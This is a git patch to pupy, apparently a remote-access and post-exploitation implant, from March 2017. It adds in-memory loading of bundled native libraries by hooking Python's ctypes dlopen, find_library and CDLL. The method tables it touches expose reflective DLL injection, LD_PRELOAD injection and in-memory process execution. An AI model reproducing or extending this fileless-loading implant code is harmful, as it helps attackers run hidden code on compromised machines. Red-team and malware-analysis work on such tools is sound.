From 5f78b6cbbe503a501bd025b2212bacce545f1383 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Tue, 21 Mar 2017 18:16:33 +0200
Subject: [PATCH] Add (initial) support for loading bundled libraries via
ctypes
---
client/sources-linux/pupy.c | 6 +-
client/sources/Python-dynload.c | 7 +--
client/sources/pupy.c | 8 +--
pupy/packages/all/pupyimporter.py | 97 ++++++++++++++++++++++++++++++-
4 files changed, 102 insertions(+), 16 deletions(-)
diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c
index 5ceb066a..83690036 100644
--- a/client/sources-linux/pupy.c
+++ b/client/sources-linux/pupy.c
@@ -221,9 +221,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
printf("Py_load_dll(%s)\n", dllname);
- if(memdlopen(dllname, lpDllBuffer, dwDllLenght))
- return PyBool_FromLong(1);
- return PyBool_FromLong(0);
+ return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght));
}
static PyObject *Py_mexec(PyObject *self, PyObject *args)
@@ -290,7 +288,7 @@ static PyMethodDef methods[] = {
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
- { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
+ { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
{ "mexec", Py_mexec, METH_VARARGS, "mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))" },
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
{ NULL, NULL }, /* Sentinel */
diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c
index f191072e..be92c000 100644
--- a/client/sources/Python-dynload.c
+++ b/client/sources/Python-dynload.c
@@ -65,17 +65,14 @@ int _load_python_FromFile(char *dllname)
return 1;
}
-int _load_dll(char *name, char *bytes){
+HMODULE _load_dll(char *name, char *bytes){
HMODULE hmod;
ULONG_PTR cookie = 0;
cookie = _My_ActivateActCtx();
hmod = MyLoadLibrary(name, bytes, NULL);
- if (hmod == NULL) {
- return 0;
- }
_My_DeactivateActCtx(cookie);
- return 1;
+ return hmod;
}
int _load_msvcr90(char *bytes)
diff --git a/client/sources/pupy.c b/client/sources/pupy.c
index c6be961e..9834b983 100644
--- a/client/sources/pupy.c
+++ b/client/sources/pupy.c
@@ -78,12 +78,12 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
DWORD dwPid;
const char *lpDllBuffer;
DWORD dwDllLenght;
+
const char *dllname;
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
return NULL;
- if(_load_dll(dllname, lpDllBuffer))
- return PyBool_FromLong(1);
- return PyBool_FromLong(0);
+
+ return PyLong_FromVoidPtr(_load_dll(dllname, lpDllBuffer));
}
static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
@@ -104,7 +104,7 @@ static PyMethodDef methods[] = {
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "get_modules", Py_get_modules, METH_NOARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
- { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
+ { "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
{ "find_function_address", Py_find_function_address, METH_VARARGS,
"find_function_address(dllname, function) -> address" },
{ NULL, NULL }, /* Sentinel */
diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py
index 9745c6fa..63deb8d3 100644
--- a/pupy/packages/all/pupyimporter.py
+++ b/pupy/packages/all/pupyimporter.py
@@ -29,6 +29,7 @@ try:
import _memimporter
builtin_memimporter = True
allow_system_packages = False
+
except ImportError:
builtin_memimporter = False
allow_system_packages = True
@@ -78,8 +79,15 @@ except ImportError:
unlink(name)
def import_module(self, data, initfuncname, fullname, path):
+ self.load_library(data, fullname, dlopen=False)
+
+
+ def load_library(self, data, fullname, dlopen=True):
fd = -1
closefd = True
+
+ result = False
+
if self.memfd:
fd = self.memfd()
if fd != -1:
@@ -91,7 +99,11 @@ except ImportError:
try:
write(fd, data)
- imp.load_dynamic(fullname, name)
+ if dlopen:
+ result = CDLL(fullname)
+ else:
+ imp.load_dynamic(fullname, name)
+ result = True
except:
self.dir = None
@@ -101,6 +113,8 @@ except ImportError:
close(fd)
unlink(name)
+ return result
+
_memimporter = MemImporter()
builtin_memimporter = _memimporter.ready
@@ -352,9 +366,12 @@ def unregister_package_request_hook():
global remote_load_package
remote_load_package = None
-def install(debug=False):
+def install(debug=None):
global __debug
- __debug = debug
+ global modules
+
+ if debug:
+ __debug = True
if allow_system_packages:
sys.path_hooks.append(PupyPackageFinder)
@@ -373,6 +390,80 @@ def install(debug=False):
'32bit' if pupy.get_arch() == 'x86' else '64bit', ''
)
+ import ctypes
+ import ctypes.util
+ import os
+
+ ctypes._system_dlopen = ctypes._dlopen
+ ctypes.util._system_find_library = ctypes.util.find_library
+
+ def pupy_make_path(name):
+ if 'pupy:' in name:
+ name = name[name.find('pupy:')+5:]
+ name = os.path.relpath(name)
+ name = '/'.join([
+ x for x in name.split(os.path.sep) if x and not x in ( '.', '..' )
+ ])
+
+ return name
+
+ def pupy_find_library(name):
+ dprint("FIND LIBRARY: {}".format(name))
+ if name in modules:
+ return name
+ else:
+ return ctypes.util._system_find_library(name)
+
+ def pupy_dlopen(name, *args, **kwargs):
+ dprint("ctypes dlopen: {}".format(name))
+ from_pupy = False
+ name = pupy_make_path(name)
+ dprint("ctypes dlopen / pupyized: {}".format(name))
+
+ if name in modules:
+ if hasattr(_memimporter, 'load_library'):
+ try:
+ return _memimporter.load_library(modules[name], name)
+ except:
+ pass
+ elif hasattr(pupy, 'load_dll'):
+ try:
+ return pupy.load_dll(name, modules[name])
+ except:
+ pass
+
+ if not from_pupy:
+ return ctypes._system_dlopen(name, *args, **kwargs)
+
+
+ if hasattr(pupy, 'find_function_address'):
+ ctypes.CDLL_ORIG = ctypes.CDLL
+
+ class PupyCDLL(ctypes.CDLL_ORIG):
+ def __init__(self, name, **kwargs):
+ super(PupyCDLL, self).__init__(name, **kwargs)
+ self._FuncPtr_orig = self._FuncPtr
+ self._FuncPtr = self._find_function_address
+ self._name = pupy_make_path(self._name)
+
+ def _find_function_address(self, search_tuple):
+ name, handle = search_tuple
+ dprint("PupyCDLL._find_function_address: {}".format(name))
+ if not type(name) in (str, unicode):
+ return self._FuncPtr_orig(search_tuple)
+ else:
+ addr = pupy.find_function_address(self._name, name)
+ dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr))
+ if addr:
+ return self._FuncPtr_orig(addr)
+ else:
+ return self._FuncPtr_orig(search_tuple)
+
+ ctypes.CDLL = PupyCDLL
+
+ ctypes._dlopen = pupy_dlopen
+ ctypes.util.find_library = pupy_find_library
+
if 'win' in sys.platform:
import pywintypes
if __debug: